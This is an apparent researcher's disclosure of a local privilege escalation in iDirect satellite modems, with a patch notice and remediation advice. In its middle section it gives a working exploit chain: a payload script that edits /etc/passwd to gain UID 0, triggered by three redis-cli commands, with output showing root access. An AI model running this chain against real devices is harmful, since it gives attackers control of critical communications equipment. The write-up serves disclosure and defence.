
Proof-of-concept for CVE-2026-38056: unauthenticated Redis IPC bus on iDirect satellite terminals lets any local user trigger root script execution via sysmngr.
Local Privilege Escalation via Unauthenticated Redis IPC Bus
ICSA-26-183-01 | CVE-2026-38056 | CVSS 4.0 9.4 (Critical) | CWE-862 | Patched
The tested device was iQ200 and is manufactured by ST Engineering iDirect. It's a satellite modem you'd find bolted into racks on oil platforms, cargo ships, military field sites and anywhere that needs reliable connectivity where terrestrial links do not reach. The kind of device that gets configured once, placed into a cabinet, and left for years.
I spent a few days poking at it. I ended up finding a several zero-day vulnerabilities, here I will explain only one of them.
| Vendor | ST Engineering iDirect |
| Products | iQ‑Series terminals, 3315‑Series terminals, 9‑Series terminals |
| Firmware | <=4.5.2.1 |
| Key Components | Redis 3.2.5 (IPC bus), sysmngr (system manager daemon) |
A few things jumped out immediately. Redis 3.2.5 from 2016. this is not necessarily exploitable on its own, but it tells you something about the development lifecycle and how much attention security is getting.
When I got shell access using the shipped low-priv account (used for field operators), the first thing I did was to look at what was listening.
$ netstat -tlnp
Redis on port 6379 caught my eye. Redis on an embedded satellite modem is unusual, it's typically a server-side technology. I tried connecting:
$ redis-cli PING
PONG
No password. No authentication at all.
That's interesting but not necessarily a vulnerability by itself. Protected-mode was enabled, which blocks remote connections, so Redis was only accessible locally. The question was: what is Redis being used for, and does it control anything sensitive?
I dumped all the keys:
$ redis-cli KEYS '*'
48 keys came back. Most were telemetry and status data, modem state, signal levels, uptime counters. But three keys stood out:
INSTALL_SCRIPT
INSTALL_DIR
INSTALL_START
That looked like a software installation pipeline.
I dug into the running processes and found sysmngr the system manager daemon that runs as root. By examining its behavior (watching file access patterns, monitoring process activity, and testing key changes), I figured out how the installation pipeline works:
sysmngr continuously polls the INSTALL_START key using GETSET (read current value, set to zero)INSTALL_START transitions to a non-zero value, sysmngr reads INSTALL_SCRIPTINSTALL_SCRIPT as rootINSTALL_DIR is used as the working directoryNo signature check on the script. No path whitelist. No file ownership verification. No permission check. It just runs it.
The design assumption was clear: "only trusted iDirect processes will write to these keys." But Redis has no access control enabled, and redis-cli ships pre-installed on the device. Any local user can write to any key.
The full escalation takes about 10 seconds and requires exactly three commands beyond writing a payload script. No additional tools needed, everything is already on the device.
Start as an unprivileged user:
$ whoami
testuser
$ id
uid=1002(testuser) gid=1002(testuser) groups=1002(testuser)
Write a payload:
$ mkdir -p /tmp/pkg
$ cat > /tmp/escalate.sh << 'EOF'
#!/bin/sh
sed -i 's/^testuser:x:1002:1002/testuser:x:0:0/' /etc/passwd
EOF
$ chmod +x /tmp/escalate.sh
Trigger execution:
$ redis-cli SET INSTALL_DIR /tmp/pkg
OK
$ redis-cli SET INSTALL_SCRIPT /tmp/escalate.sh
OK
$ redis-cli SET INSTALL_START 1
OK
Wait two seconds. Log back in:
$ ssh [email protected]
$ whoami
root
$ id
uid=0(root) gid=0(root)
That's it. testuser went from UID 1002 to UID 0.
The payload I used here is simple, it just edits /etc/passwd to change the UID. But once you have arbitrary script execution as root on this device, the possibilities are wide open: persistent backdoors, firmware modification, traffic interception, credential harvesting, satellite link manipulation, lateral movement to other network devices.
Two design flaws chain together:
1. Redis IPC bus has no access control.
Redis is deployed as a shared bus between system processes with no authentication (requirepass is empty). The implicit trust model assumes only iDirect processes will connect. That assumption breaks the moment any user gets shell access, because redis-cli is pre-installed and there's nothing stopping a local user from reading or writing every key on the bus.
2. sysmngr executes scripts without validation.
The software installation pipeline trusts the INSTALL_SCRIPT value unconditionally. The script doesn't need to be in a specific directory, doesn't need to be signed, doesn't need to be owned by root, and doesn't need to pass any integrity check. sysmngr just executes it.
Either flaw alone would be a finding. Together, they create a reliable and trivial privilege escalation chain.
The underlying mistake is a common one in embedded systems: treating "local" as equivalent to "trusted." In a multi-user system, especially one where field technicians get restricted accounts, localhost is not a trust boundary. Processes running as different users on the same machine are not equally privileged, and the IPC mechanisms between them need to enforce that.
This is not a theoretical vulnerability. The exploit is trivial, reliable, and uses only pre-installed tools.
For this specific device:
idirect user (UID 1500), intended to be a restricted account for field technicians, can exploit thisFor fleet deployments:
9.4 (Critical) CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
ST Engineering iDirect has fixed the vulnerabilitY and recommend users update the software to version 4.5.3.0 or newer.
1. Add Redis authentication. Set a strong requirepass in /etc/idirect/redis.conf and update all iDirect processes to authenticate. This is the minimum viable fix.
2. Bind Redis to loopback only. Set bind 127.0.0.1 to eliminate any network exposure. (Protected-mode helps, but explicit binding is defense in depth.)
3. Validate scripts before execution. This is the most important fix. sysmngr should verify that any script it executes:
/mnt/active0/, /mnt/active1/, /mnt/factory/)Even if Redis authentication is bypassed, this breaks the escalation chain.
4. Add host-based firewall rules. iptables -A INPUT -p tcp --dport 6379 -i eth1 -j DROP defense in depth against Redis network exposure.
Satellite terminals occupy a strange blind spot in security. They're critical infrastructure, literally the only communications link for offshore rigs, remote industrial sites, and maritime vessels, but they don't get the same scrutiny as routers, firewalls, or servers. They're embedded devices running ancient software stacks, managed by networking teams rather than security teams, and they sit in racks where nobody touches them for years.